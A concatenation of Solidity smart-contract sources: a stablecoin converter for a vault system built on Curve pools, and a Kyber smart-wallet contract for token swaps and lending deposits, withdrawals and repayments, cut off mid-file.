_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IMultiVaultConverter {
function token() external returns (address);
function get_virtual_price() external view returns (uint);
function convert_rate(address _input, address _output, uint _inputAmount) external view returns (uint _outputAmount);
function calc_token_amount_deposit(uint[] calldata _amounts) external view returns (uint _shareAmount);
function calc_token_amount_withdraw(uint _shares, address _output) external view returns (uint _outputAmount);
function convert(address _input, address _output, uint _inputAmount) external returns (uint _outputAmount);
function convertAll(uint[] calldata _amounts) external returns (uint _outputAmount);
}
interface IValueVaultMaster {
function bank(address) view external returns (address);
function isVault(address) view external returns (bool);
function isController(address) view external returns (bool);
function isStrategy(address) view external returns (bool);
function slippage(address) view external returns (uint);
function convertSlippage(address _input, address _output) view external returns (uint);
function valueToken() view external returns (address);
function govVault() view external returns (address);
function insuranceFund() view external returns (address);
function performanceReward() view external returns (address);
function govVaultProfitShareFee() view external returns (uint);
function gasFee() view external returns (uint);
function insuranceFee() view external returns (uint);
function withdrawalProtectionFee() view external returns (uint);
}
// 0: DAI, 1: USDC, 2: USDT
interface IStableSwap3Pool {
function get_virtual_price() external view returns (uint);
function balances(uint) external view returns (uint);
function calc_token_amount(uint[3] calldata amounts, bool deposit) external view returns (uint);
function calc_withdraw_one_coin(uint _token_amount, int128 i) external view returns (uint);
function get_dy(int128 i, int128 j, uint dx) external view returns (uint);
function add_liquidity(uint[3] calldata amounts, uint min_mint_amount) external;
function remove_liquidity_one_coin(uint _token_amount, int128 i, uint min_amount) external;
function exchange(int128 i, int128 j, uint dx, uint min_dy) external;
}
// 0: DAI, 1: USDC, 2: USDT, 3: BUSD
interface IStableSwapBUSD {
function get_virtual_price() external view returns (uint);
function calc_token_amount(uint[4] calldata amounts, bool deposit) external view returns (uint);
function get_dy_underlying(int128 i, int128 j, uint dx) external view returns (uint dy);
function get_dx_underlying(int128 i, int128 j, uint dy) external view returns (uint dx);
function exchange_underlying(int128 i, int128 j, uint dx, uint min_dy) external;
}
// 0: hUSD, 1: 3Crv
interface IStableSwapHUSD {
function get_virtual_price() external view returns (uint);
function calc_token_amount(uint[2] calldata amounts, bool deposit) external view returns (uint);
function get_dy(int128 i, int128 j, uint dx) external view returns (uint dy);
function get_dy_underlying(int128 i, int128 j, uint dx) external view returns (uint dy);
function get_dx_underlying(int128 i, int128 j, uint dy) external view returns (uint dx);
function exchange_underlying(int128 i, int128 j, uint dx, uint min_dy) external;
function exchange(int128 i, int128 j, uint dx, uint min_dy) external;
function calc_withdraw_one_coin(uint amount, int128 i) external view returns (uint);
function remove_liquidity_one_coin(uint amount, int128 i, uint minAmount) external returns (uint);
function add_liquidity(uint[2] calldata amounts, uint min_mint_amount) external returns (uint);
}
// 0: DAI, 1: USDC, 2: USDT, 3: sUSD
interface IStableSwapSUSD {
function get_virtual_price() external view returns (uint);
function calc_token_amount(uint[4] calldata amounts, bool deposit) external view returns (uint);
function get_dy_underlying(int128 i, int128 j, uint dx) external view returns (uint dy);
function get_dx_underlying(int128 i, int128 j, uint dy) external view returns (uint dx);
function exchange_underlying(int128 i, int128 j, uint dx, uint min_dy) external;
}
// Supported Pool Tokens:
// 0. 3pool [DAI, USDC, USDT]
// 1. BUSD [(y)DAI, (y)USDC, (y)USDT, (y)BUSD]
// 2. sUSD [DAI, USDC, USDT, sUSD]
// 3. husd [HUSD, 3pool]
// 4. Compound [(c)DAI, (c)USDC]
// 5. Y [(y)DAI, (y)USDC, (y)USDT, (y)TUSD]
// 6. Swerve [(y)DAI...(y)TUSD]
contract StableSwap3PoolConverter is IMultiVaultConverter {
using SafeMath for uint;
using SafeERC20 for IERC20;
IERC20[3] public pool3CrvTokens; // DAI, USDC, USDT
IERC20 public token3Crv; // 3Crv
IERC20 public tokenBUSD; // BUSD
IERC20 public tokenBCrv; // BCrv (yDAI+yUSDC+yUSDT+yBUSD)
IERC20 public tokenSUSD; // sUSD
IERC20 public tokenSCrv; // sCrv (DAI/USDC/USDT/sUSD)
IERC20 public tokenHUSD; // hUSD
IERC20 public tokenHCrv; // hCrv (HUSD/3Crv)
address public governance;
IStableSwap3Pool public stableSwap3Pool;
IStableSwapBUSD public stableSwapBUSD;
IStableSwapSUSD public stableSwapSUSD;
IStableSwapHUSD public stableSwapHUSD;
IValueVaultMaster public vaultMaster;
uint public defaultSlippage = 1; // very small 0.01%
constructor (IERC20 _tokenDAI, IERC20 _tokenUSDC, IERC20 _tokenUSDT, IERC20 _token3Crv,
IERC20 _tokenBUSD, IERC20 _tokenBCrv,
IERC20 _tokenSUSD, IERC20 _tokenSCrv,
IERC20 _tokenHUSD, IERC20 _tokenHCrv,
IStableSwap3Pool _stableSwap3Pool,
IStableSwapBUSD _stableSwapBUSD,
IStableSwapSUSD _stableSwapSUSD,
IStableSwapHUSD _stableSwapHUSD,
IValueVaultMaster _vaultMaster) public {
pool3CrvTokens[0] = _tokenDAI;
pool3CrvTokens[1] = _tokenUSDC;
pool3CrvTokens[2] = _tokenUSDT;
token3Crv = _token3Crv;
tokenBUSD = _tokenBUSD;
tokenBCrv = _tokenBCrv;
tokenSUSD = _tokenSUSD;
tokenSCrv = _tokenSCrv;
tokenHUSD = _tokenHUSD;
tokenHCrv = _tokenHCrv;
stableSwap3Pool = _stableSwap3Pool;
stableSwapBUSD = _stableSwapBUSD;
stableSwapSUSD = _stableSwapSUSD;
stableSwapHUSD = _stableSwapHUSD;
pool3CrvTokens[0].safeApprove(address(stableSwap3Pool), type(uint256).max);
pool3CrvTokens[1].safeApprove(address(stableSwap3Pool), type(uint256).max);
pool3CrvTokens[2].safeApprove(address(stableSwap3Pool), type(uint256).max);
token3Crv.safeApprove(address(stableSwap3Pool), type(uint256).max);
pool3CrvTokens[0].safeApprove(address(stableSwapBUSD), type(uint256).max);
pool3CrvTokens[1].safeApprove(address(stableSwapBUSD), type(uint256).max);
pool3CrvTokens[2].safeApprove(address(stableSwapBUSD), type(uint256).max);
tokenBUSD.safeApprove(address(stableSwapBUSD), type(uint256).max);
tokenBCrv.safeApprove(address(stableSwapBUSD), type(uint256).max);
pool3CrvTokens[0].safeApprove(address(stableSwapSUSD), type(uint256).max);
pool3CrvTokens[1].safeApprove(address(stableSwapSUSD), type(uint256).max);
pool3CrvTokens[2].safeApprove(address(stableSwapSUSD), type(uint256).max);
tokenSUSD.safeApprove(address(stableSwapSUSD), type(uint256).max);
tokenSCrv.safeApprove(address(stableSwapSUSD), type(uint256).max);
token3Crv.safeApprove(address(stableSwapHUSD), type(uint256).max);
tokenHUSD.safeApprove(address(stableSwapHUSD), type(uint256).max);
tokenHCrv.safeApprove(address(stableSwapHUSD), type(uint256).max);
vaultMaster = _vaultMaster;
governance = msg.sender;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setVaultMaster(IValueVaultMaster _vaultMaster) external {
require(msg.sender == governance, "!governance");
vaultMaster = _vaultMaster;
}
function approveForSpender(IERC20 _token, address _spender, uint _amount) external {
require(msg.sender == governance, "!governance");
_token.safeApprove(_spender, _amount);
}
function setDefaultSlippage(uint _defaultSlippage) external {
require(msg.sender == governance, "!governance");
require(_defaultSlippage <= 100, "_defaultSlippage>1%");
defaultSlippage = _defaultSlippage;
}
function token() external override returns (address) {
return address(token3Crv);
}
// Average dollar value of pool token
function get_virtual_price() external override view returns (uint) {
return stableSwap3Pool.get_virtual_price();
}
function convert_rate(address _input, address _output, uint _inputAmount) public override view returns (uint _outputAmount) {
if (_inputAmount == 0) return 0;
if (_output == address(token3Crv)) { // convert to 3Crv
uint[3] memory _amounts;
for (uint8 i = 0; i < 3; i++) {
if (_input == address(pool3CrvTokens[i])) {
_amounts[i] = _inputAmount;
_outputAmount = stableSwap3Pool.calc_token_amount(_amounts, true);
return _outputAmount.mul(10000 - defaultSlippage).div(10000);
}
}
if (_input == address(tokenBUSD)) {
_amounts[1] = stableSwapBUSD.get_dy_underlying(int128(3), int128(1), _inputAmount); // convert to USDC
_outputAmount = stableSwap3Pool.calc_token_amount(_amounts, true); // USDC -> 3Crv
}
if (_input == address(tokenSUSD)) {
_amounts[1] = stableSwapSUSD.get_dy_underlying(int128(3), int128(1), _inputAmount); // convert to USDC
_outputAmount = stableSwap3Pool.calc_token_amount(_amounts, true); // USDC -> 3Crv
}
if (_input == address(tokenHUSD)) {
_outputAmount = stableSwapHUSD.get_dy(int128(0), int128(1), _inputAmount); // HUSD -> 3Crv
}
} else if (_input == address(token3Crv)) { // convert from 3Crv
for (uint8 i = 0; i < 3; i++) {
if (_output == address(pool3CrvTokens[i])) {
// @dev this is for UI reference only, the actual share price (stable/CRV) will be re-calculated on-chain when we do convert()
_outputAmount = stableSwap3Pool.calc_withdraw_one_coin(_inputAmount, i);
return _outputAmount.mul(10000 - defaultSlippage).div(10000);
}
}
if (_output == address(tokenBUSD)) {
uint _usdcAmount = stableSwap3Pool.calc_withdraw_one_coin(_inputAmount, 1); // 3Crv -> USDC
_outputAmount = stableSwapBUSD.get_dy_underlying(int128(1), int128(3), _usdcAmount); // USDC -> BUSD
}
if (_output == address(tokenSUSD)) {
uint _usdcAmount = stableSwap3Pool.calc_withdraw_one_coin(_inputAmount, 1); // 3Crv -> USDC
_outputAmount = stableSwapSUSD.get_dy_underlying(int128(1), int128(3), _usdcAmount); // USDC -> BUSD
}
if (_output == address(tokenHUSD)) {
_outputAmount = stableSwapHUSD.get_dy(int128(1), int128(0), _inputAmount); // 3Crv -> HUSD
}
}
if (_outputAmount > 0) {
uint _slippage = _outputAmount.mul(vaultMaster.convertSlippage(_input, _output)).div(10000);
_outputAmount = _outputAmount.sub(_slippage);
}
}
// 0: DAI, 1: USDC, 2: USDT, 3: 3Crv, 4: BUSD, 5: sUSD, 6: husd
function calc_token_amount_deposit(uint[] calldata _amounts) external override view returns (uint _shareAmount) {
_shareAmount = _amounts[3]; // 3Crv amount
uint[3] memory _3poolAmounts;
_3poolAmounts[0] = _amounts[0];
_3poolAmounts[1] = _amounts[1];
_3poolAmounts[2] = _amounts[2];
uint _3poolTo3crv = stableSwap3Pool.calc_token_amount(_3poolAmounts, true);
uint _busdTo3Crv = convert_rate(address(tokenBUSD), address(token3Crv), _amounts[4]);
uint _susdTo3Crv = convert_rate(address(tokenSUSD), address(token3Crv), _amounts[5]);
uint _husdTo3Crv = convert_rate(address(tokenHUSD), address(token3Crv), _amounts[6]);
return _shareAmount.add(_3poolTo3crv).add(_busdTo3Crv).add(_susdTo3Crv).add(_husdTo3Crv);
}
// @dev we use curve function calc_withdraw_one_coin() for UI reference only
// the actual share price (stable/CRV) will be re-calculated on-chain when we do convert()
function calc_token_amount_withdraw(uint _shares, address _output) external override view returns (uint _outputAmount) {
for (uint8 i = 0; i < 3; i++) {
if (_output == address(pool3CrvTokens[i])) {
return stableSwap3Pool.calc_withdraw_one_coin(_shares, i);
}
}
if (_output == address(tokenBUSD)) {
uint _usdcAmount = stableSwap3Pool.calc_withdraw_one_coin(_shares, 1); // 3Crv -> USDC
_outputAmount = stableSwapBUSD.get_dy_underlying(int128(1), int128(3), _usdcAmount); // USDC -> BUSD
} else if (_output == address(tokenSUSD)) {
uint _usdcAmount = stableSwap3Pool.calc_withdraw_one_coin(_shares, 1); // 3Crv -> USDC
_outputAmount = stableSwapSUSD.get_dy_underlying(int128(1), int128(3), _usdcAmount); // USDC -> SUSD
} else if (_output == address(tokenHUSD)) {
_outputAmount = stableSwapHUSD.get_dy(int128(1), int128(0), _shares); // 3Crv -> HUSD
}
if (_outputAmount > 0) {
uint _slippage = _outputAmount.mul(vaultMaster.slippage(_output)).div(10000);
_outputAmount = _outputAmount.sub(_slippage);
}
}
function convert(address _input, address _output, uint _inputAmount) external override returns (uint _outputAmount) {
require(vaultMaster.isVault(msg.sender) || vaultMaster.isController(msg.sender) || msg.sender == governance, "!(governance||vault||controller)");
if (_inputAmount == 0) return 0;
if (_output == address(token3Crv)) { // convert to 3Crv
uint[3] memory amounts;
for (uint8 i = 0; i < 3; i++) {
if (_input == address(pool3CrvTokens[i])) {
amounts[i] = _inputAmount;
uint _before = token3Crv.balanceOf(address(this));
stableSwap3Pool.add_liquidity(amounts, 1);
uint _after = token3Crv.balanceOf(address(this));
_outputAmount = _after.sub(_before);
token3Crv.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
}
if (_input == address(tokenBUSD)) {
_outputAmount = _convert_busd_to_shares(_inputAmount);
token3Crv.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
if (_input == address(tokenSUSD)) {
_outputAmount = _convert_susd_to_shares(_inputAmount);
token3Crv.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
if (_input == address(tokenHUSD)) {
_outputAmount = _convert_husd_to_shares(_inputAmount);
token3Crv.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
} else if (_input == address(token3Crv)) { // convert from 3Crv
for (uint8 i = 0; i < 3; i++) {
if (_output == address(pool3CrvTokens[i])) {
uint _before = pool3CrvTokens[i].balanceOf(address(this));
stableSwap3Pool.remove_liquidity_one_coin(_inputAmount, i, 1);
uint _after = pool3CrvTokens[i].balanceOf(address(this));
_outputAmount = _after.sub(_before);
pool3CrvTokens[i].safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
}
if (_output == address(tokenBUSD)) {
// remove 3Crv to USDC
uint _before = pool3CrvTokens[1].balanceOf(address(this));
stableSwap3Pool.remove_liquidity_one_coin(_inputAmount, 1, 1);
uint _after = pool3CrvTokens[1].balanceOf(address(this));
_outputAmount = _after.sub(_before);
// convert USDC to BUSD
_before = tokenBUSD.balanceOf(address(this));
stableSwapBUSD.exchange_underlying(int128(1), int128(3), _outputAmount, 1);
_after = tokenBUSD.balanceOf(address(this));
_outputAmount = _after.sub(_before);
tokenBUSD.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
if (_output == address(tokenSUSD)) {
// remove 3Crv to USDC
uint _before = pool3CrvTokens[1].balanceOf(address(this));
stableSwap3Pool.remove_liquidity_one_coin(_inputAmount, 1, 1);
uint _after = pool3CrvTokens[1].balanceOf(address(this));
_outputAmount = _after.sub(_before);
// convert USDC to SUSD
_before = tokenSUSD.balanceOf(address(this));
stableSwapSUSD.exchange_underlying(int128(1), int128(3), _outputAmount, 1);
_after = tokenSUSD.balanceOf(address(this));
_outputAmount = _after.sub(_before);
tokenSUSD.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
if (_output == address(tokenHUSD)) {
_outputAmount = _convert_shares_to_husd(_inputAmount);
tokenHUSD.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
}
return 0;
}
// @dev convert from BUSD to 3Crv (via USDC)
function _convert_busd_to_shares(uint _amount) internal returns (uint _shares) {
// convert to USDC
uint[3] memory amounts;
uint _before = pool3CrvTokens[1].balanceOf(address(this));
stableSwapBUSD.exchange_underlying(int128(3), int128(1), _amount, 1);
uint _after = pool3CrvTokens[1].balanceOf(address(this));
amounts[1] = _after.sub(_before);
// add USDC to 3pool to get back 3Crv
_before = token3Crv.balanceOf(address(this));
stableSwap3Pool.add_liquidity(amounts, 1);
_after = token3Crv.balanceOf(address(this));
_shares = _after.sub(_before);
}
// @dev convert from SUSD to 3Crv (via USDC)
function _convert_susd_to_shares(uint _amount) internal returns (uint _shares) {
// convert to USDC
uint[3] memory amounts;
uint _before = pool3CrvTokens[1].balanceOf(address(this));
stableSwapSUSD.exchange_underlying(int128(3), int128(1), _amount, 1);
uint _after = pool3CrvTokens[1].balanceOf(address(this));
amounts[1] = _after.sub(_before);
// add USDC to 3pool to get back 3Crv
_before = token3Crv.balanceOf(address(this));
stableSwap3Pool.add_liquidity(amounts, 1);
_after = token3Crv.balanceOf(address(this));
_shares = _after.sub(_before);
}
// @dev convert from HUSD to 3Crv
function _convert_husd_to_shares(uint _amount) internal returns (uint _shares) {
uint _before = token3Crv.balanceOf(address(this));
stableSwapHUSD.exchange(int128(0), int128(1), _amount, 1);
uint _after = token3Crv.balanceOf(address(this));
_shares = _after.sub(_before);
}
// @dev convert from 3Crv to HUSD
function _convert_shares_to_husd(uint _amount) internal returns (uint _husd) {
uint _before = tokenHUSD.balanceOf(address(this));
stableSwapHUSD.exchange(int128(1), int128(0), _amount, 1);
uint _after = tokenHUSD.balanceOf(address(this));
_husd = _after.sub(_before);
}
function convertAll(uint[] calldata _amounts) external override returns (uint _outputAmount) {
require(vaultMaster.isVault(msg.sender) || vaultMaster.isController(msg.sender) || msg.sender == governance, "!(governance||vault||controller)");
uint _before = token3Crv.balanceOf(address(this));
_before = _before.sub(_amounts[3], "not enough 3Crv");
if (_amounts[0] > 0 || _amounts[1] > 0 || _amounts[2] > 0) {
uint[3] memory _3poolAmounts;
_3poolAmounts[0] = _amounts[0];
_3poolAmounts[1] = _amounts[1];
_3poolAmounts[2] = _amounts[2];
stableSwap3Pool.add_liquidity(_3poolAmounts, 1);
}
if (_amounts[4] > 0) { // BUSD
_convert_busd_to_shares(_amounts[4]);
}
if (_amounts[5] > 0) { // sUSD
_convert_susd_to_shares(_amounts[5]);
}
if (_amounts[6] > 0) { // hUSD
_convert_husd_to_shares(_amounts[6]);
}
uint _after = token3Crv.balanceOf(address(this));
_outputAmount = _after.sub(_before);
token3Crv.safeTransfer(msg.sender, _outputAmount);
return _outputAmount;
}
function governanceRecoverUnsupported(IERC20 _token, uint _amount, address _to) external {
require(msg.sender == governance, "!governance");
_token.transfer(_to, _amount);
}
}
|
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] |
pragma solidity 0.6.6;
import "../interfaces/ISmartWalletSwapImplementation.sol";
import "./SmartWalletSwapStorage.sol";
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract SmartWalletSwapImplementation is SmartWalletSwapStorage, ISmartWalletSwapImplementation {
using SafeERC20 for IERC20Ext;
using SafeMath for uint256;
event UpdatedSupportedPlatformWallets(address[] wallets, bool isSupported);
event UpdatedBurnGasHelper(IBurnGasHelper indexed gasHelper);
event UpdatedLendingImplementation(ISmartWalletLending impl);
event ApprovedAllowances(IERC20Ext[] tokens, address[] spenders, bool isReset);
event ClaimedPlatformFees(address[] wallets, IERC20Ext[] tokens, address claimer);
constructor(address _admin) public SmartWalletSwapStorage(_admin) {}
receive() external payable {}
function updateBurnGasHelper(IBurnGasHelper _burnGasHelper) external onlyAdmin {
if (burnGasHelper != _burnGasHelper) {
burnGasHelper = _burnGasHelper;
emit UpdatedBurnGasHelper(_burnGasHelper);
}
}
function updateLendingImplementation(ISmartWalletLending newImpl) external onlyAdmin {
require(newImpl != ISmartWalletLending(0), "invalid lending impl");
lendingImpl = newImpl;
emit UpdatedLendingImplementation(newImpl);
}
/// @dev to prevent other integrations to call trade from this contract
function updateSupportedPlatformWallets(address[] calldata wallets, bool isSupported)
external
onlyAdmin
{
for (uint256 i = 0; i < wallets.length; i++) {
supportedPlatformWallets[wallets[i]] = isSupported;
}
emit UpdatedSupportedPlatformWallets(wallets, isSupported);
}
function claimPlatformFees(address[] calldata platformWallets, IERC20Ext[] calldata tokens)
external
override
nonReentrant
{
for (uint256 i = 0; i < platformWallets.length; i++) {
for (uint256 j = 0; j < tokens.length; j++) {
uint256 fee = platformWalletFees[platformWallets[i]][tokens[j]];
if (fee > 1) {
platformWalletFees[platformWallets[i]][tokens[j]] = 1;
transferToken(payable(platformWallets[i]), tokens[j], fee - 1);
}
}
}
emit ClaimedPlatformFees(platformWallets, tokens, msg.sender);
}
function approveAllowances(
IERC20Ext[] calldata tokens,
address[] calldata spenders,
bool isReset
) external onlyAdmin {
uint256 allowance = isReset ? 0 : MAX_ALLOWANCE;
for (uint256 i = 0; i < tokens.length; i++) {
for (uint256 j = 0; j < spenders.length; j++) {
tokens[i].safeApprove(spenders[j], allowance);
}
getSetDecimals(tokens[i]);
}
emit ApprovedAllowances(tokens, spenders, isReset);
}
/// ========== SWAP ========== ///
/// @dev swap token via Kyber
/// @notice for some tokens that are paying fee, for example: DGX
/// contract will trade with received src token amount (after minus fee)
/// for Kyber, fee will be taken in ETH as part of their feature
function swapKyber(
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 minConversionRate,
address payable recipient,
uint256 platformFeeBps,
address payable platformWallet,
bytes calldata hint,
bool useGasToken
) external payable override nonReentrant returns (uint256 destAmount) {
uint256 gasBefore = useGasToken ? gasleft() : 0;
destAmount = doKyberTrade(
src,
dest,
srcAmount,
minConversionRate,
recipient,
platformFeeBps,
platformWallet,
hint
);
uint256 numGasBurns = 0;
// burn gas token if needed
if (useGasToken) {
numGasBurns = burnGasTokensAfter(gasBefore);
}
emit KyberTrade(
msg.sender,
src,
dest,
srcAmount,
destAmount,
recipient,
platformFeeBps,
platformWallet,
hint,
useGasToken,
numGasBurns
);
}
/// @dev swap token via a supported Uniswap router
/// @notice for some tokens that are paying fee, for example: DGX
/// contract will trade with received src token amount (after minus fee)
/// for Uniswap, fee will be taken in src token
function swapUniswap(
IUniswapV2Router02 router,
uint256 srcAmount,
uint256 minDestAmount,
address[] calldata tradePath,
address payable recipient,
uint256 platformFeeBps,
address payable platformWallet,
bool feeInSrc,
bool useGasToken
) external payable override nonReentrant returns (uint256 destAmount) {
uint256 numGasBurns;
{
// prevent stack too deep
uint256 gasBefore = useGasToken ? gasleft() : 0;
destAmount = swapUniswapInternal(
router,
srcAmount,
minDestAmount,
tradePath,
recipient,
platformFeeBps,
platformWallet,
feeInSrc
);
if (useGasToken) {
numGasBurns = burnGasTokensAfter(gasBefore);
}
}
emit UniswapTrade(
msg.sender,
address(router),
tradePath,
srcAmount,
destAmount,
recipient,
platformFeeBps,
platformWallet,
feeInSrc,
useGasToken,
numGasBurns
);
}
/// ========== SWAP & DEPOSIT ========== ///
function swapKyberAndDeposit(
ISmartWalletLending.LendingPlatform platform,
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 minConversionRate,
uint256 platformFeeBps,
address payable platformWallet,
bytes calldata hint,
bool useGasToken
) external payable override nonReentrant returns (uint256 destAmount) {
require(lendingImpl != ISmartWalletLending(0));
uint256 gasBefore = useGasToken ? gasleft() : 0;
if (src == dest) {
// just collect src token, no need to swap
destAmount = safeForwardTokenAndCollectFee(
src,
msg.sender,
payable(address(lendingImpl)),
srcAmount,
platformFeeBps,
platformWallet
);
} else {
destAmount = doKyberTrade(
src,
dest,
srcAmount,
minConversionRate,
payable(address(lendingImpl)),
platformFeeBps,
platformWallet,
hint
);
}
// eth or token alr transferred to the address
lendingImpl.depositTo(platform, msg.sender, dest, destAmount);
uint256 numGasBurns = 0;
if (useGasToken) {
numGasBurns = burnGasTokensAfter(gasBefore);
}
emit KyberTradeAndDeposit(
msg.sender,
platform,
src,
dest,
srcAmount,
destAmount,
platformFeeBps,
platformWallet,
hint,
useGasToken,
numGasBurns
);
}
/// @dev swap Uniswap then deposit to platform
/// if tradePath has only 1 token, don't need to do swap
/// @param platform platform to deposit
/// @param router which Uni-clone to use for swapping
/// @param srcAmount amount of src token
/// @param minDestAmount minimal accepted dest amount
/// @param tradePath path of the trade on Uniswap
/// @param platformFeeBps fee if swapping
/// @param platformWallet wallet to receive fee
/// @param useGasToken whether to use gas token or not
function swapUniswapAndDeposit(
ISmartWalletLending.LendingPlatform platform,
IUniswapV2Router02 router,
uint256 srcAmount,
uint256 minDestAmount,
address[] calldata tradePath,
uint256 platformFeeBps,
address payable platformWallet,
bool useGasToken
) external payable override nonReentrant returns (uint256 destAmount) {
require(lendingImpl != ISmartWalletLending(0));
uint256 gasBefore = useGasToken ? gasleft() : 0;
{
IERC20Ext dest = IERC20Ext(tradePath[tradePath.length - 1]);
if (tradePath.length == 1) {
// just collect src token, no need to swap
destAmount = safeForwardTokenAndCollectFee(
dest,
msg.sender,
payable(address(lendingImpl)),
srcAmount,
platformFeeBps,
platformWallet
);
} else {
destAmount = swapUniswapInternal(
router,
srcAmount,
minDestAmount,
tradePath,
payable(address(lendingImpl)),
platformFeeBps,
platformWallet,
false
);
}
// eth or token alr transferred to the address
lendingImpl.depositTo(platform, msg.sender, dest, destAmount);
}
uint256 numGasBurns = 0;
if (useGasToken) {
numGasBurns = burnGasTokensAfter(gasBefore);
}
emit UniswapTradeAndDeposit(
msg.sender,
platform,
router,
tradePath,
srcAmount,
destAmount,
platformFeeBps,
platformWallet,
useGasToken,
numGasBurns
);
}
/// @dev withdraw token from Lending platforms (AAVE, COMPOUND)
/// @param platform platform to withdraw token
/// @param token underlying token to withdraw, e.g ETH, USDT, DAI
/// @param amount amount of cToken (COMPOUND) or aToken (AAVE) to withdraw
/// @param minReturn minimum amount of USDT tokens to return
/// @param useGasToken whether to use gas token or not
/// @return returnedAmount returns the amount withdrawn to the user
function withdrawFromLendingPlatform(
ISmartWalletLending.LendingPlatform platform,
IERC20Ext token,
uint256 amount,
uint256 minReturn,
bool useGasToken
) external override nonReentrant returns (uint256 returnedAmount) {
require(lendingImpl != ISmartWalletLending(0));
uint256 gasBefore = useGasToken ? gasleft() : 0;
IERC20Ext lendingToken = IERC20Ext(lendingImpl.getLendingToken(platform, token));
require(lendingToken != IERC20Ext(0), "unsupported token");
// AAVE aToken's transfer logic could have rounding errors
uint256 tokenBalanceBefore = lendingToken.balanceOf(address(lendingImpl));
lendingToken.safeTransferFrom(msg.sender, address(lendingImpl), amount);
uint256 tokenBalanceAfter = lendingToken.balanceOf(address(lendingImpl));
returnedAmount = lendingImpl.withdrawFrom(
platform,
msg.sender,
token,
tokenBalanceAfter.sub(tokenBalanceBefore),
minReturn
);
uint256 numGasBurns;
if (useGasToken) {
numGasBurns = burnGasTokensAfter(gasBefore);
}
emit WithdrawFromLending(
platform,
token,
amount,
minReturn,
returnedAmount,
useGasToken,
numGasBurns
);
}
/// @dev swap on Kyber and repay borrow for sender
/// if src == dest, no need to swap, use src token to repay directly
/// @param payAmount: amount that user wants to pay, if the dest amount (after swap) is higher,
/// the remain amount will be sent back to user's wallet
/// @param feeAndRateMode: in case of aave v2, user needs to specify the rateMode to repay
/// to prevent stack too deep, combine fee and rateMode into a single value
/// platformFee: feeAndRateMode % BPS, rateMode: feeAndRateMode / BPS
/// Other params are params for trade on Kyber
function swapKyberAndRepay(
ISmartWalletLending.LendingPlatform platform,
IERC20Ext src,
IERC20Ext dest,
uint256 srcAmount,
uint256 payAmount,
uint256 feeAndRateMode,
address payable platformWallet,
bytes calldata hint,
bool useGasToken
) external payable override nonReentrant returns (uint256 destAmount) {
uint256 numGasBurns;
{
require(lendingImpl != ISmartWalletLending(0));
uint256 gasBefore = useGasToken ? gasleft() : 0;
{
// use user debt value if debt is <= payAmount,
// user can pay all debt by putting really high payAmount as param
payAmount = checkUserDebt(platform, address(dest), payAmount);
if (src == dest) {
if (src == ETH_TOKEN_ADDRESS) {
require(msg.value == srcAmount, "invalid msg value");
transferToken(payable(address(lendingImpl)), src, srcAmount);
} else {
destAmount = srcAmount > payAmount ? payAmount : srcAmount;
src.safeTransferFrom(msg.sender, address(lendingImpl), destAmount);
}
} else {
// use user debt value if debt is <= payAmount
payAmount = checkUserDebt(platform, address(dest), payAmount);
// use min rate so it can return earlier if failed to swap
uint256 minRate =
calcRateFromQty(srcAmount, payAmount, src.decimals(), dest.decimals());
destAmount = doKyberTrade(
src,
dest,
srcAmount,
minRate,
payable(address(lendingImpl)),
feeAndRateMode % BPS,
platformWallet,
hint
);
}
}
lendingImpl.repayBorrowTo(
platform,
msg.sender,
dest,
destAmount,
payAmount,
feeAndRateMode / BPS
);
if (useGasToken) {
numGasBurns = burnGasTokensAfter(gasBefore);
}
}
emit KyberTradeAndRepay(
msg.sender,
platform,
src,
dest,
srcAmount,
destAmount,
payAmount,
feeAndRateMode,
platformWallet,
hint,
useGasToken,
numGasBurns
);
}
/// @dev swap on Uni-clone and repay borrow for sender
/// if tradePath.length == 1, no need to swap, use tradePath[0] token to repay directly
